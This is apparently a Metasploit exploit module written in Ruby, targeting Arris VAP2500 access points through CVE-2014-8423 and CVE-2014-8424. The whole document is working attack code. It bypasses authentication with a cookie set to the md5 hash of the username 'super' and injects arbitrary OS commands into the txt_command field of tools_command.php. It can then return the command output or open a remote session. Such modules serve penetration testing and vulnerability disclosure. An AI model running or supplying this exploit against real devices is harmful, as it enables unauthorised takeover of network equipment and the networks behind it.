Arris VAP2500 tools_command.php Command Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Arris VAP2500 tools_command.php Command Execution',  
'Description' => %q{  
Arris VAP2500 access points are vulnerable to OS command injection in the web management  
portal via the tools_command.php page. Though authentication is required to access this  
page, it is trivially bypassed by setting the value of a cookie to an md5 hash of a valid  
username.  
},  
'Author' =>  
[  
'HeadlessZeke' # Vulnerability discovery and Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2014-8423'],  
['CVE', '2014-8424'],  
['OSVDB', '115045'],  
['OSVDB', '115046'],  
['BID', '71297'],  
['BID', '71299'],  
['URL', 'http://goto.fail/blog/2014/11/25/at-and-t-u-verse-vap2500-the-passwords-they-do-nothing/']  
],  
'DisclosureDate' => 'Nov 25 2014',  
'Privileged' => true,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 1024,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic telnet'  
}  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' => [[ 'Automatic', { }]],  
'DefaultTarget' => 0  
))  
end  
  
def check  
begin  
res = send_request_raw({  
'method' => 'GET',  
'uri' => '/tools_command.php',  
'cookie' => "p=#{Rex::Text.md5('super')}"  
})  
if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/  
return Exploit::CheckCode::Vulnerable  
end  
rescue ::Rex::ConnectionError  
return Exploit::CheckCode::Unknown  
end  
  
Exploit::CheckCode::Safe  
end  
  
def exploit  
print_status("#{peer} - Trying to access the device ...")  
  
unless check == Exploit::CheckCode::Vulnerable  
fail_with(Failure::NotVulnerable, "#{peer} - Failed to access the vulnerable device")  
end  
  
print_status("#{peer} - Exploiting...")  
  
if datastore['PAYLOAD'] == 'cmd/unix/generic'  
exploit_cmd  
else  
exploit_session  
end  
end  
  
def exploit_cmd  
beg_boundary = rand_text_alpha(8)  
end_boundary = rand_text_alpha(8)  
  
begin  
res = send_request_cgi({  
'uri' => normalize_uri('/', 'tools_command.php'),  
'vars_post' => {  
'cmb_header' => '',  
'txt_command' => "echo #{beg_boundary}; #{payload.encoded}; echo #{end_boundary}"  
},  
'method' => 'POST',  
'cookie' => "p=#{Rex::Text.md5('super')}"  
})  
  
if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/  
print_good("#{peer} - Command sent successfully")  
if res.body.to_s =~ /#{beg_boundary}(.*)#{end_boundary}/m  
print_status("#{peer} - Command output: #{$1}")  
end  
else  
fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed")  
end  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")  
end  
end  
  
def exploit_session  
begin  
send_request_cgi({  
'uri' => normalize_uri('/', 'tools_command.php'),  
'vars_post' => {  
'cmb_header' => '',  
'txt_command' => "#{payload.encoded}"  
},  
'method' => 'POST',  
'cookie' => "p=#{Rex::Text.md5('super')}"  
}, 3)  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")  
end  
end  
end  
`